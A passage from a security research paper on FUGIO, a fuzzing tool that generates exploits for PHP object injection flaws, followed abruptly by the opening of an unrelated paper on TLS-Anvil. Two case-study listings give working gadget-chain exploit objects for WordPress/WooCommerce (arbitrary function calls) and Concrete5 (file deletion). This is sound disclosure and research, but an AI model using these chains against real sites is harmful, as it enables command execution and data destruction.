with generating exploit objects that trigger the vulnerabil-
ity causing file deletion/modification/creation, command in-
jection, or remote code execution. Of 30 applications, eight
applications were the same as those that Dahse et al. used
for evaluation [13]. We also included 21 applications from
PHPGGC [2]. In PHPGGC, 12 packages are PHP libraries.
Thus, we made a simple PHP application using each library
and injected a POI vulnerability into this application. For the
remaining nine applications, we leveraged known POI vulner-
abilities: CVE-2018-20148, CVE-2019-6339, and [64]. The
selection criteria for these benchmarks are as follows: 1) the
vulnerable versions of applications are still accessible, and 2)
the sizes of vulnerable applications are not trivial.
Environment. We performed the evaluation on a Linux work-
station equipped with two Intel Xeon Gold 6238 CPUs @ 2.10
GHz and 384 GB of RAM. For FUGIO execution, we pre-
pared a Docker container for each PHP version and installed
web applications according to their corresponding versions.

7.2 Performance of FUGIO
We conducted five fuzzing campaigns for each of the 30 ap-
plications. Each fuzzing campaign lasted 12 hours. For each
chain, we set FUGIO to conduct fuzzing for at most 100 sec-
onds and to assemble at most seven gadgets. We evaluate the
FUGIO’s sensitivity on these parameters in §7.4.

Table 1 summarizes the evaluation results. The third col-
umn represents the number of identified POP chains, and the
fourth column represents the number of POP chains on which
fuzzing was conducted to generate exploits. The Covered
sinks column represents the number of unique sensitive sinks
in the detected POP chains.

The Exploitable chains column represents the number of
exploitable POP chains, which means that FUGIO is able
to generate PHP object exploits. The Probably exploitable
chains column represents the number of chains with generated
input objects that succeeded in reaching the sink function in

each chain, but FUGIO could not confirm its exploitability
because the generated exploit failed to pass the exploit oracle.
Note that each cell in these columns represents a median
value from five fuzzing trials; the minimum and maximum
values are in square brackets. Also, the number in parentheses
represents the number of reported unique chains during the
five fuzzing trials. The True positive chains column represents
the number of exploitable chains that we manually confirmed.
The numbers to the left and right of the plus sign represent true
positive chains from exploitable (E) and probably exploitable
(PE) chains, respectively. The sum of these two numbers
yields the number of total exploitable objects that FUGIO
created during the five fuzzing trials. The last two columns
show the time spent in identifying POP chains and running
FUGIO, respectively.

From the 30 applications, FUGIO reported a total of 68 E
chains. We manually verified these E chains and confirmed
that FUGIO yielded no false positives. Among the 66 PE
chains, 26 chains were indeed exploitable. FUGIO generated
exploit objects from each of the 27 vulnerable applications.

FUGIO did not succeed in generating exploits for GLPI,
Vanilla, and Yii. In GLPI, FUGIO did not find any E chains
because it actually has no exploitable chains. This means that
the attacker is able to inject an input object but unable to
exploit the vulnerability in GLPI. In Vanilla, FUGIO missed
one exploitable chain that triggers an LFI vulnerability. This
is because FUGIO does not support LFI sinks for comput-
ing chains. In Yii, FUGIO identified exploitable chains, but
the fuzzer could not generate an exploit object for them. The
generation of this exploit requires assigning an array value
holding an appropriate index and its corresponding class ob-
ject to a property of the exploit object. FUGIO was unable to
generate an exploit object satisfying these conditions within
a fuzzing timeout.

Note that FUGIO identified approximately 10 million POP
chains that triggered 1,637 sensitive sinks. Identified chains
ranged from 0 (Vanilla) to 3.2 million chains (Joomla). These
statistics demonstrate the need to automate the generation of
exploit objects.

We further analyzed why FUGIO reported 26 exploitable
chains as PE chains. 1) FUGIO does not perform the exploit
oracle on PE chains with sinks that take file resources, such as
fwrite, because the attacker cannot inject a file resource as a
serialized string. However, we found that nine PE chains were
exploitable by leveraging an existing fopen callsite with an
injected file name. 2) The exploit oracle only reports E chains
when an injected payload appears in an actual argument of
the target sink without any loss. However, four chains were
exploitable even in the case that the attacker can partially
inject an attack string into the parameter. For the remaining
13 chains, FUGIO was unable to pinpoint object properties to
inject attack payloads within a given fuzzing timeout.
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Table 1: Evaluation of FUGIO: The number of exploitable and probably exploitable chains represents the number of functional
exploit objects that FUGIO generates (WP: WordPress).

PHP Version Application Identified
Chains

Fuzzed
Chains

Covered
Sinks

Exploitable
Chains

Probably
Exploitable

Chains

True
Positive
Chains

Chain
Analysis

Time
Total Time

PHP 5.4

Contao CMS 26,180 25,732 41 3 [3 – 3] (3) 2 [2 – 7] (8) 3 + 2 117m 49s Timeout
Piwik 445,384 14,739 40 0 [0 – 0] (0) 0 [0 – 4] (4) 0 + 1 407m 24s Timeout
GLPI 544,776 8,898 8 0 [0 – 0] (0) 0 [0 – 0] (0) 0 + 0 Timeout Timeout

Joomla 3,292,647 9,075 47 0 [0 – 1] (1) 0 [0 – 5] (5) 1 + 0 Timeout Timeout
CubeCart 30 28 11 1 [1 – 1] (1) 0 [0 – 0] (0) 1 + 0 7s 1m 51s

CMS Made Simple 16 16 13 1 [0 – 1] (1) 0 [0 – 1] (0) 1 + 0 6s 1m 49s
Open Web Analytics 886 765 18 11 [9 – 12] (12) 5 [4 – 6] (5) 12 + 4 45s 16m 52s

Vanilla Forums 0 0 0 0 [0 – 0] (0) 0 [0 – 0] (0) 0 + 0 12s 12s
SwiftMailer 5.0.1 13,387 12,891 16 1 [0 – 2] (2) 1 [0 – 2] (3) 2 + 2 5m 28s 289m 30s
SwiftMailer 5.1.0 14,875 14,875 16 1 [1 – 1] (1) 0 [0 – 0] (0) 1 + 0 7m 45s 330m 37s

Smarty 15 15 7 0 [0 – 1] (1) 3 [2 – 3] (2) 1 + 0 4s 1m 57s
ZendFramework 1,271,410 8,732 264 0 [0 – 1] (1) 1 [0 – 5] (8) 1 + 0 Timeout Timeout

PHP 5.6

PHPExcel 1.8.1 (w/ WP) 2,787 2,679 37 3 [3 – 3] (4) 1 [1 – 1] (2) 4 + 0 1m 31s 55m 49s
PHPExcel 1.8.2 (w/ WP) 3,333 2,677 37 3 [3 – 3] (3) 1 [1 – 1] (1) 3 + 0 1m 56s 56m 10s

Dompdf (w/ WP) 639,904 8,350 115 0 [0 – 1] (1) 0 [0 – 0] (0) 1 + 0 Timeout Timeout
Guzzle (w/ WP) 80,285 27,948 43 3 [0 – 3] (3) 1 [0 – 1] (1) 3 + 1 47m 20s Timeout

WooCommerce 2.6.0 (w/ WP) 3,857 3,747 28 1 [1 – 1] (1) 0 [0 – 0] (0) 1 + 0 23s 76m 18s
WooCommerce 3.4.0 (w/ WP) 158,636 12,004 27 0 [0 – 1] (1) 0 [0 – 0] (0) 1 + 0 311m 56s 581m 25s

Emailsubscribers (w/ WP) 1,844 1,793 28 1 [1 – 1] (1) 0 [0 – 0] (0) 1 + 0 13s 37m
EverestForms (w/ WP) 2,081 2,032 25 1 [1 – 1] (1) 0 [0 – 0] (0) 1 + 0 14s 42m 4s

PHP 7.2

TCPDF 2 2 2 2 [2 – 2] (2) 0 [0 – 0] (0) 2 + 0 4s 13s
Drupal7 15 15 11 1 [0 – 1] (1) 4 [4 – 5] (4) 1 + 0 7s 2m 2s

SwiftMailer 5.4.12 14,977 14,977 16 1 [1 – 1] (1) 2 [1 – 3] (5) 1 + 4 5m 7s 330m 16s
SwiftMailer 6.0.0 13,495 13,175 16 1 [1 – 2] (3) 1 [0 – 3] (5) 3 + 4 4m 45s 286m 25s

Monolog 1.7.0 147 144 34 1 [0 – 2] (6) 0 [0 – 1] (1) 6 + 1 3s 3m 36s
Monolog 1.18.0 4,525 4,230 55 2 [2 – 4] (8) 1 [0 – 2] (4) 8 + 4 12s 84m 16s
Monolog 2.0.0 11,842 11,701 17 0 [0 – 0] (0) 0 [0 – 1] (1) 0 + 1 2m 36s 262m 2s

Laminas 3,254 3,254 4 2 [2 – 2] (2) 0 [0 – 0] (0) 2 + 0 3m 18s 68m 1s
Yii 2,428,535 9,033 453 0 [0 – 0] (0) 0 [0 – 2] (2) 0 + 0 Timeout Timeout

TYPO3 1,073,189 8,751 208 0 [0 – 5] (7) 0 [0 – 6] (7) 7 + 2 Timeout Timeout

Total 10,052,313 222,278 1,637 68 66 68 + 26

7.3 Comparison to State-of-the-Art Tools

We compared the performance of FUGIO to the performance
that Dahse et al. reported in §7.3.1 and that of PHPGGC
in §7.3.2. Dahse et al. proposed a static tool that reports
exploitable chains [13]. On the other hand, FUGIO reports
not only exploitable chains but also their exploit objects. In
§7.3.1, we conduct a fine-grained comparison on the FUGIO’s
ability to identify exploitable chains that Dahse et al. reported.

PHPGGC is an open-source tool that generates PHP ex-
ploit objects only for known exploit chains in specific versions
of PHP applications [2]. Because PHPGGC lists known ex-
ploitable POP chains, we used these chains to measure false
negatives that FUGIO produces in §7.3.2. Note that, unlike
PHPGGC, FUGIO is a general AEG tool for assembling gad-
gets and reporting exploit objects for any PHP applications.

Experimental setup. For each application, we ran FUGIO
five times with a timeout of 12 hours. We set FUGIO to
conduct fuzzing for at most 100 seconds for each chain. In
§7.3.1, we set FUGIO to identify POP chains with a length
of less than nine, which Dahse et al. used. In §7.3.2, we
considered chains of which length is at most nine, which is
the maximum exploitable chain length listed in PHPGGC.

7.3.1 Comparison to Dahse et al.

Target classes. Dahse et al. analyzed whether an object’s
class for injection is loadable by statically checking a stack
of included files [24]. However, when there exists at least
one autoloader callback in an application, they assume that
all existing classes are loadable, which is no longer a valid
assumption because this bug was patched in PHP 5.4.24 and
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Table 2: The number of exploitable POP chains and their
exploit objects that FUGIO and Dahse et al. reported.

Tool Contao Piwik GLPI Joomla CubeCart CMSMS OWA Vanilla Total

FUGIO 11 1 0 2 1 1 17 0 33

[13]† 14 3 0 3 1 1 5 0 27

† Excludes POP chains conducting SQLi, XXE, and LFI attacks.

5.5.8 [12, 59, 60]. On the other hand, FUGIO checks loadable
classes by dynamically invoking all existing autoloader call-
backs to check their availability. To conduct a fair comparison,
we consider all user-defined classes as available gadgets when
at least one autoloader exists, making the same assumption
for available gadgets.
Sensitive sinks. Dahse et al. classified the detected chains
into six vulnerability types: file deletion (FD), file creation
(FC), file modification (FM), SQL injection (SQLi), local file
inclusion (LFI), and XML external entity injection (XXE).
We specified a total of 26 sensitive sinks to generate exploits
for FD, FC, FM, and command injection vulnerabilities, as
listed in Appendix 11.1. We excluded sinks enabling LFI and
XXE because those vulnerabilities are not reproducible in
PHP 5.4 [61, 62]. For SQLi, it is possible to identify POP
chains; however, the fuzzer cannot reach the sensitive sink
since such chains require a database account or an instance
that is already connected to the database. We leave this to
future work.

Table 2 shows the number of E chains that FUGIO identi-
fied and successfully generated their exploit objects, compared
to the number of exploitable chains that Dahse et al. reported.
FUGIO generated exploit objects for 33 E chains from six
applications while Dahse et al. identified 27 E chains from
the same applications. Since Dahse et al. omitted the details
of each chain, we could not match each exploitable chain.
Thus, we compare the numbers of exploit objects that FUGIO
reported with the numbers reported in their paper.

For the six missing E chains from Contao, Piwik, and
Joomla, FUGIO could not generate exploit objects due to
the following reasons: 1) four chains required passing compli-
cated conditions to reach the sink functions or to control the
arguments of these sink functions; and 2) two chains required
specific OS environments and the existence of certain files or
directories to reach the sink functions. These limitations stem
from the unsound nature of fuzz testing; we believe that more
advanced fuzzing optimization and computation resources
will decrease the number of false negatives.

Note that the static approach of Dahse et al. reported 10
false positives due to statically unresolved callsites impeding
their taint data flow analysis [13]. This means that auditors
should check the exploitability of all reports, including these
false positives. By contrast, FUGIO reported no false positives
since it executes a PUT with a generated object and confirms
the exploitability using the exploit oracle.

Table 3: Comparison of exploitable POP chains found by
FUGIO and listed in PHPGGC (WP: WordPress)

Applications
PHPGGC FUGIO

Known
Chains

Detected
Chains

Exploits
New

Exploits

SwiftMailer 5.0.1 1 1 0 1
SwiftMailer 5.1.0 1 1 0 3
Smarty 2 1 1 0
ZendFramework 4 2 1 0
PHPExcel 1.8.1 (w/ WP) 5 5 5 1
PHPExcel 1.8.2 (w/ WP) 5 5 5 1
Dompdf 0.8.0 (w/ WP) 1 1 0 0
Guzzle (w/ WP) 5 4 2 2
WooCommerce 2.6.0 (w/ WP) 1 1 1 0
WooCommerce 3.4.0 (w/ WP) 1 1 1 0
Emailsubscribers (w/ WP) 1 1 1 0
EverestForms (w/ WP) 1 1 1 0
TCPDF 6.3.2 1 1 1 1
Drupal7 2 1 1 1
SwiftMailer 5.4.12 1 1 1 6
SwiftMailer 6.0.0 1 1 0 11
Monolog 1.7.0 2 2 0 1
Monolog 1.18.0 1 1 0 3
Monolog 2.0.0 1 1 0 0
Laminas 1 1 1 1
Yii 1 1 0 0

Total 39 34 22 32

7.3.2 Comparison to PHPGGC

Additional setup. FUGIO terminates fuzzing for a sink when
the fuzzer generates at least one exploit (§5) in order to ex-
plore diverse chains that invoke other sinks. However, PH-
PGGC lists multiple chains that share the same sink. There-
fore, we set the fuzzing process not to terminate before
fuzzing all enumerated chains for the corresponding sink.

Table 3 shows the experimental results on the capability of
FUGIO generating exploit objects in 21 PHPGGC applica-
tions. The second column in the table represents the number
of known exploitable chains that PHPGGC lists. The third
column shows the number of gadget chains that FUGIO iden-
tified, and the fourth column represents the number of gen-
erated exploits for these identified chains. The last column
shows the number of new exploitable chains that FUGIO
found, along with their exploit objects. For the 39 exploitable
chains in PHPGGC, FUGIO reported 34 chains and 22 exploit
objects for these chains. Additionally, FUGIO found 32 new
exploitable chains and their exploit objects, producing a total
of 54 exploitable chains and their exploit objects.

Among a total of 39 chains in PHPGGC, FUGIO identi-
fied 34 POP chains; we analyzed the root causes for the five
false negatives. In ZendFramework, Guzzle, and Drupal7, FU-
GIO did not find four chains because these applications used
reflective calls to connect two gadgets. For example, when
connecting the next gadget from the third gadget in a Zend-
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Figure 5: The number of POP chains generated while vary-
ing the fuzzing timeout and maximum chain length (E: ex-
ploitable, PE: probably exploitable).

Framework chain, $view->$helper in the third gadget is
supposed to call Zend_Cache_Frontend_Function::call.
The target callee from this invocation is statically undecid-
able unless abstracting possible string values for $helper.
Note that identifying a target callee from a reflective callsite
remains an unresolved problem in the field of static analy-
sis. Any other static approaches, including Dahse et al. [13],
would have produced the same results. An alternative is to
consider all gadgets from this callsite; however, this policy
results in producing a prohibited number of chains.

The one remaining false negative leverages PHP built-in
gadgets, which are not within our scope; FUGIO focuses on
assembling user-defined gadgets in target applications.

Of the 34 identified chains, FUGIO generated exploit ob-
jects for 22 E chains. The missing chains were due to two
reasons. 1) Nine chains were required to build an exploit
object, several properties of which had array values holding
other objects. Because such objects required FUGIO to assign
to an object property an array value holding an appropriate
index and its corresponding object, FUGIO could not gen-
erate these complex objects within a given fuzzing timeout.
2) For the three remaining chains, FUGIO did not conduct
fuzz testing due to an insufficient time budget for testing other
chains. When conducting fuzz testing on these three chains,
FUGIO produced functional exploits.

We emphasize that FUGIO reported new 32 E chains that
PHPGGC does not list. These results demonstrate that FUGIO
is capable of helping developers find exploitable chains via
AEG, which may have been missed due to difficult property-
oriented programming.

7.4 Hyperparameters
We evaluate the effectiveness of two parameters in FUGIO:
fuzzing timeout and max chain length.
Fuzzing timeout. The fuzzer executes a PUT with generated
inputs until it reports an exploit object. The longer the fuzzer
runs, the more exploits can be generated. However, we set
the fuzzing timeout to test other POP chains within a given
time budget. In this section, we conducted an experiment to

determine how long the fuzzer should run for each POP chain.
To build an evaluation dataset, we sampled POP chains

to fuzz. For each sensitive sink in the 30 applications, we
sampled a maximum of 10 chains of which the last gadget
has this sink; the total of sampled POP chains was 13,582.

For each sampled chain, we ran the fuzzer five times with
a timeout of 300 seconds. The fuzzer generated a total of 408
E chains and 662 (PE+E) chains. For each PE or E chain,
we measured the time that the fuzzer spent generating exploit
objects. We then counted the number of chains for which the
exploit object was generated within a certain specified time,
from 0 to 300 seconds in increments of 10 seconds. We plotted
the results in Figure 5a. We then computed the percentage
of chains for which the fuzzer generated the exploit object
within the specified time out of the total chains for which the
exploit object was generated within 300 seconds. We then set
the fuzzing timeout as the time when the percentage becomes
greater than 70%. For the exploitable chains, the percentage
is 70.1% at 100 seconds, and for the probably exploitable and
exploitable chains, the percentage is 70.2% at 50 seconds.
Therefore, we set the fuzzing timeout to be 100 seconds in all
experiments (§7).
Chain length. When identifying POP chains, the chain iden-
tifier takes the height of a call tree as a parameter (§5.4). The
height means the maximum length of POP chains that FU-
GIO computes. We conducted an experiment to measure the
efficacy of the maximum chain length in reporting exploit
objects.

The method for preparing POP chains for this evaluation is
similar to the aforementioned experiment involving fuzzing
timeout. We set the maximum chain length to a value from 1 to
10 and sampled POP chains for each condition. For example,
if the maximum chain length was set to 3, sampling will be
performed among chains of lengths 1, 2, and 3.

FUGIO conducted five fuzzing campaigns for the sampled
chains, using a timeout of 100 seconds. We computed totals
of E chains and both PE and E chains generated for each
maximum chain length. Figure 5b shows the experimental
results. When changing the maximum chain length from 7 to
8, the number of chains decreases. This is because a fuzzing
timeout budget curtails the fuzzing of all promising chains
to generate exploit objects. Therefore, we set the maximum
chain length to be seven in §7.2.

7.5 Field Test
We evaluated the efficacy of FUGIO in the latest version of
two PHP applications: WordPress 5.4.2 with WooCommerce
and Concrete5 8.5.4. WooCommerce is one of the most popu-
lar WordPress plugins over five million active installations [3].

In WordPress, FUGIO identified 39 POP chains for seven
sensitive sinks and reported one exploitable chain with an
exploit object. The chain starts with WC_Log_Handler_File:
:__destruct and triggers call_user_func with two user-
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1 <?php
2 class WC_Log_Handler_File extends WC_Log_Handler {
3 function __destruct () { // 1st Gadget
4 foreach ($this ->handles as $handle) {
5 if (is_resource($handle)) {
6 fclose($handle);
7 } } } }
8 class Requests_Utility_FilteredIterator extends
9 ArrayIterator {

10 public function current () { // 2nd Gadget
11 $value = parent :: current ();
12 $value = call_user_func($this ->callback ,
13 $value); // Sink
14 return $value;
15 } }
16

17 // Generate injection object
18 $obj = new WC_Log_Handler_File;
19 $obj ->setProp('handles ',
20 new Requests_Utility_FilteredIterator(
21 ["args" => "ARGUMENT_OF_CALLBACK"]
22 ));
23 $obj ->getProp('handles ')
24 ->setProp('callback ', "CALLBACK_TO_BE_CALLED");
25

26 // Trigger POI vulnerability
27 $data = unserialize($input);

Listing 3: The exploitable POP chain of WordPress

controllable arguments. Therefore, the attacker can remotely
invoke any existing functions with her choices of arguments.
For instance, the attacker invokes system with a forged argu-
ment, conducting a shell command injection attack.

In Concrete5, FUGIO found four exploitable chains with
exploit objects among 5,016 chains for 201 sensitive sinks.
Three chains and their exploitable objects enable the attacker
to delete an arbitrary file and the one remaining chain with its
exploit object allows the attacker to invoke any user-defined
functions with her choices of arguments.
Disclosure. We reported the vulnerabilities with exploit ob-
jects to HackerOne [21]. The WordPress team notified that
the vulnerability was reported in September 2018, but has
remained a non-disclosed bug. The Concrete5 team patched
the reported vulnerability and assigned CVE-2021-40102.

7.6 Case Studies

We introduce two E chains and their exploit objects that FU-
GIO reported from WordPress 5.4.2 with WooCommerce and
the latest version of Concrete5.
WordPress with WooCommerce. Listing 3 shows a POP
chain and its exploit object that FUGIO generated when de-
tecting the WordPress vulnerability in §7.5. Its exploitable
POP chain consists of two gadgets, WC_Log_Handler_File::
__destruct and Requests_Utility_FilteredIterator:
:current that invokes the call_user_func sink function.

The current method of a class that inherits ArrayItera-
tor is invoked by any call to foreach on that class’s object.
When the handles property in Line 4 is set to the Requests_-
Utility_FilteredIterator instance, its current method
is invoked.

The fuzzer starts by generating an exploit object for this

1 <?php
2 namespace simplehtmldom_1_5 {
3 class simple_html_dom {
4 function __destruct () { // 1st Gadget
5 $this ->clear();
6 }
7 function clear() { // 2nd Gadget
8 if (isset($this ->parent)) {
9 $this ->parent ->clear();

10 unset($this ->parent);
11 } } } }
12 namespace Stash\Driver {
13 class FileSystem extends AbstractDriver {
14 public function clear($key = null) { // 3rd Gadget
15 $path = $this ->makePath($key);
16 if (is_file($path)) {
17 $return = true;
18 unlink($path); // Sink
19 } }
20 protected function makePath($key = null) {
21 if (!isset($this ->cachePath)) {
22 throw new LogicException ('Error ');
23 }
24 $basePath = $this ->cachePath;
25 $path = $basePath;
26 return $path;
27 } } }
28

29 // Generate injection object
30 $obj = new simplehtmldom_1_5\simple_html_dom;
31 $obj ->setProp('parent ', new Stash\Driver\FileSystem);
32 $obj ->getProp('parent ')
33 ->setProp('cachePath ', "FILE_TO_DELETE");
34

35 // Trigger POI vulnerability
36 $data = is_dir($input);

Listing 4: The exploitable POP chain of Concrete5

chain by picking the first gadget class, WC_Log_Handler_-
File (Line 18). To connect the next gadget, the fuzzer mutates
the value of each property declared in WC_Log_Handler_-
File class. When the handles property in Line 4 is mutated
as Object type and its value is set to Requests_Utility_-
FilteredIterator (Lines 19–22), the current method is
invoked and the fuzzer reaches the sink function call_user_-
func in Line 13. Then, the fuzzer checks whether the mu-
tated property can control the arguments of this sensitive sink.
The first argument of call_user_func is the callback prop-
erty of Requests_Utility_FilteredIterator class, which
should be set to an attacker’s choice of callback (Lines 23–24).
This callback’s argument can be passed through $value, the
second argument of call_user_func, which represents the
value of an item that is currently iterated (Line 21). Since the
attacker is able to control the first argument of this call_-
user_func sink, FUGIO concludes fuzz testing by reporting
this exploit object.
Concrete5. Listing 4 shows a POP chain and its exploit object
that FUGIO reported from Concrete5 (§7.5). The chain length
is three. This chain consists of simple_hmtl_dom::__de-
struct, simple_hmtl_dom::clear, and Filesystem::clear
that invokes the unlink function.

To generate an exploit object for this chain, the fuzzer
picks the first gadget class, simple_hmtl_dom (Line 30).
The first gadget, simple_hmtl_dom::__destruct, uncondi-
tionally calls the second gadget, simple_hmtl_dom::clear.
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To connect the third gadget, Filesystem::clear, the condi-
tion in Line 8 should be passed. Thus, the fuzzer will assign a
random value to the parent property. After passing this con-
dition, the fuzzer will encounter a reference error in Line 9
when attempting to invoke clear with the parent property.
Now, the fuzzer assigns a class object that has the clear
method. When the fuzzer selects FileSystem for this class
object, the last gadget will be executed (Line 31). To reach
the sensitive sink, the $path variable should be a file path
(Line 16). Although the fuzzer does not know how to set
$path, it can be properly set while mutating the properties of
FileSystem. The fuzzer attempts to assign a random value
in the cachePath property. By setting cachePath as a file to
delete (Lines 32–33), the fuzzer succeeded in generating an
exploit object for the identified POP chain.

8 Discussion and Limitations

Security threats of deserializing an adversarial object have
existed in not only PHP but also other programming lan-
guages, including Python [31, 41], Java [25, 68], Ruby [33],
Android [48], and .NET [18, 43, 55]. Depending on available
gadgets, an adversary conducts various malicious behaviors.

Each language has its own recommendations for mitigating
this threat. A basic takeaway is not to directly deserialize data
from untrusted sources [46]. The common practice of follow-
ing this recommendation is to sanitize user inputs [17, 46].
Unfortunately, sanitization logic should differ based on target
deserialization methods, which often leads to implementing
incorrect sanitization checks [20, 54].

Another line of recommendation suggests that develop-
ers permit only primitive data types like JSON (e.g., json_-
decode in PHP and json.loads in Python), YAML (e.g.,
SnakeYAML in .NET, and PyYAML in python), or XML (e.g.,
XMLDecoder in JAVA), which do not invoke deserialization
callbacks [46, 53]. Unfortunately, Muñoz and Mirosh [43]
found that many JSON libraries in .NET and Java were ex-
ploitable because they invoked setters to populate object fields.
Other works [16, 55] have reported similar vulnerabilities in
XML and YAML formats.

Whitelisting or blacklisting classes to deserialize is a pas-
sive mitigation method [39]. This approach restricts which
classes are allowed or disallowed to be deserialized by lever-
aging the features supported by each language or by raising
errors when deserializing blacklisted classes. However, this
approach requires a significant engineering cost to specify
allowed classes for (de)serialization [20].

Existing tools have focused on detecting unsafe deserializa-
tion [2, 8, 19, 42]. Burp Suite detects vulnerabilities by send-
ing predefined payloads using [19] for Java and [2] for PHP
applications [15, 51]. SerialDetector identifies unsafe deserial-
ization using a taint dataflow analysis and validates identified
vulnerabilities by generating payloads only for known gadget
chains [55]. They do not assemble available gadgets to iden-

tify promising chains. Several static approaches have focused
on identifying exploitable gadget chains [13, 22]. However,
these studies require a manual examination to remove false
positives. By contrast, FUGIO is a general AEG tool that
identifies promising POP chains and generates exploits.

FUGIO has limitations. FUGIO only assembles gadgets
extracted from target PHP applications, not gadgets from PHP
internal classes. Therefore, it cannot generate exploits using
PHP internal gadgets. Generating such exploits require the
manual effort of explicitly providing internal gadgets in PHP
to FUGIO. For the same reason, FUGIO is unable to leverage
gadgets in PHP binary modules [49] to which PHP source
code is converted

FUGIO is also unable to cover reflective calls of which
target callee is statically undecidable when enumerating POP
chains. Considering all existing gadgets for this target callee
results in a prohibited number of chains to conduct fuzzing
testing. A sophisticated static analysis that computes possi-
ble values for this target callee is one alternative approach
for decreasing false negatives. Due to the nature of fuzz test-
ing [38], finding exploits may require multiple campaigns or
longer timeouts when a target chain has a large number of
conditions.

9 Related Work

Finding vulnerabilities in web applications. There is a vast
volume of studies on finding vulnerabilities in PHP applica-
tions. Huang et al. introduced WebSSARI to detect insecure
information flow using a typestate-based static analysis al-
gorithm [29, 30]. Xie et al. presented a three-tier analysis
for capturing information at the intra-block, intra-procedural,
and inter-procedural levels [66]. Pixy performed additional
alias and literal analysis to provide more comprehensive and
precise results [35, 36]. Son et al. presented static analysis
techniques that identify semantic bugs [57] and remediate
access-control bugs [56]. Backes et al. proposed an inter-
procedural analysis technique based on code property graphs
that represent a program’s syntax, control flow, and data de-
pendencies in a single graph structure [6].
AEG. AEG has been used as a verification process that auto-
matically checks whether the reported bug is security-critical.
It contributes to eliminating false positives and helps develop-
ers prioritize bugs to patch [5]. In binary applications, AEG
approaches primarily generate exploits by solving constraints
that are combined 1) path constraints that a user input causes
a given program to crash and 2) constraints for executing
shellcode [4, 11, 23, 26, 27, 47, 65, 67].

AEG techniques are also applied in the analysis of web
applications. Balzarotti et al. introduced Saner for validat-
ing the sanitization process by identifying a suspicious pro-
gram path from input sources to sensitive sinks using static
analysis and simulating the program with inputs contain-
ing attack strings using dynamic analysis [7]. Kieyzun et al.
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and Huang et al. proposed AEG approaches based on con-
colic execution [28, 37]. Alhuzali et al. performed additional
static analysis to construct a sequence of malicious HTTP re-
quests that direct the execution of the program to a vulnerable
sink [1].

Many symbolic execution studies have attempted to vali-
date various types of vulnerabilities, such as cross-site script-
ing, SQL injection, or file inclusion, but no prior study has
addressed generating exploits for POI vulnerabilities. Fur-
thermore, those constraint solving approaches require consid-
erable engineering efforts due to the necessity of modeling
thousands of built-in functions. We chose to tackle this prob-
lem via fuzzing instead of symbolic execution.

10 Conclusion

We propose FUGIO, the first AEG tool for POI vulnerabil-
ities. We present a series of static analyses, dynamic anal-
yses, and fuzzing techniques to compute POP chains and
generate exploits. FUGIO reported 68 exploit objects from 30
real-world PHP applications with known POI vulnerabilities.
FUGIO also reported two previously unknown POI vulner-
abilities with functional exploiting objects, demonstrating
the efficacy of FUGIO in significantly alleviating laborious
property-oriented programming burdens.
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11 Appendix

11.1 Target Sensitive Sink Functions
We list the sink functions that FUGIO considers for each web
attack as follows:

• File deletion: unlink, rmdir
• File creation: fopen, fwrite, fputs, mkdir, copy, link,

symlink, file_put_contents
• File modification: chmod, chown, chgrp, touch
• Shell command injection: popen, system, passthru,

exec, proc_open, shell_exec, escapeshellcmd
• Remote code execution: eval, mail, call_user_func,

call_user_func_array, preg_replace
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Abstract

Although the newest versions of TLS are considered secure,
flawed implementations may undermine the promised security
properties. Such implementation flaws result from the TLS
specifications’ complexity, with exponentially many possible
parameter combinations. Combinatorial Testing (CT) is a
technique to tame this complexity, but it is hard to apply to
TLS due to semantic dependencies between the parameters
and thus leaves the developers with a major challenge referred
to as the test oracle problem: Determining if the observed
behavior of software is correct for a given test input.

In this work, we present TLS-Anvil, a test suite based on
CT that can efficiently and systematically test parameter value
combinations and overcome the oracle problem by dynam-
ically extracting an implementation-specific input parame-
ter model (IPM) that we constrained based on TLS specific
parameter value interactions. Our approach thus carefully
restricts the available input space, which in return allows us
to reliably solve the oracle problem for any combination of
values generated by the CT algorithm.

We evaluated TLS-Anvil with 13 well known TLS imple-
mentations, including OpenSSL, BoringSSL, and NSS. Our
evaluation revealed two new exploits in MatrixSSL, five is-
sues directly influencing the cryptographic operations of a
session, as well as 15 interoperability issues, 116 problems
related to incorrect alert handling, and 100 other issues across
all tested libraries.

1 Introduction

Transport Layer Security (TLS) is a cryptographic protocol
that provides encryption, authentication, and integrity to appli-
cation data. Due to many attacks and weaknesses discovered
in the recent years [3, 7, 8, 10, 18, 19, 53, 59, 65], the cur-
rently recommended versions of TLS are 1.2 and 1.3 [40,
51]. Besides the main standards, there is a multitude of ac-
companying RFCs, which define further TLS extensions and
cryptographic algorithms for the protocol [41–50, 52]. These

RFCs are the result of continuous refinements throughout mul-
tiple public draft versions. Especially in the case of TLS 1.3,
the development of drafts was strongly influenced by feed-
back from the community. The knowledge of the research
community has been used to emphasize security and interop-
erability critical statements in the RFCs using the terminology
for absolute requirements from RFC 2119 [39], which are
marked with the keywords MUST, SHALL, or REQUIRED.
These requirements prescribe specific TLS behavior, for ex-
ample, by defining protocol flows, record layer processing,
or exact alert messages. These requirements go far beyond
solely functional aspects, and TLS libraries must adhere to
the specifications in all critical aspects. Otherwise, missing
compliance can lead to interoperability issues or even critical
security bugs.

On the Complexity of TLS Libraries The high number of
protocol versions, extensions, and cryptographic algorithms
increases the complexity of TLS and makes implementing a
secure TLS library very challenging. For backward compati-
bility reasons, standard TLS libraries need to support multiple
TLS versions starting from TLS 1.0 and also outdated cryp-
tographic algorithms such as 3DES. The complexity of TLS
and the backward compatibility requirements led to several
critical attacks. For example, Böck et al. discovered that the
at the time almost 20-year-old Bleichenbacher [8] vulnera-
bility was still widespread among TLS implementations of
the most prominent websites on the internet; some of the dis-
covered vulnerabilities had subtle dependencies to seemingly
unrelated parts of the code, like the mode of operation [10].
Similarly, a study by Merget et al. [36] showed that sometimes
CBC padding oracle vulnerabilities only surface for specific
negotiated parameters; a different key exchange algorithm
in a cipher suite could already change the code flow enough
to reveal or hide a vulnerability in the otherwise unrelated
record layer. Thus despite the huge amount of research and
careful specification of the protocol, TLS libraries are still
vulnerable to subtle attacks exploiting complex parameter
combinations. This leads to the following research question:
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RQ1: How well do current TLS libraries perform
in regards to security, interoperability, and confor-
mance considering the complexity of requirements
from the TLS specification and scientific literature?

Test Oracle Problem Software tests stimulate a system un-
der test (SUT) with inputs and observe the reaction of the
system. To provide a meaningful test result, software tests
must overcome the test oracle problem. Barr et al. define the
test oracle problem as follows [4]:

Given the input for a system, the challenge of dis-
tinguishing the corresponding desired, correct be-
havior from potentially incorrect behavior is called
the "test oracle problem".

For a complex system, this problem is already hard for func-
tional tests, where the goal is to determine if a program com-
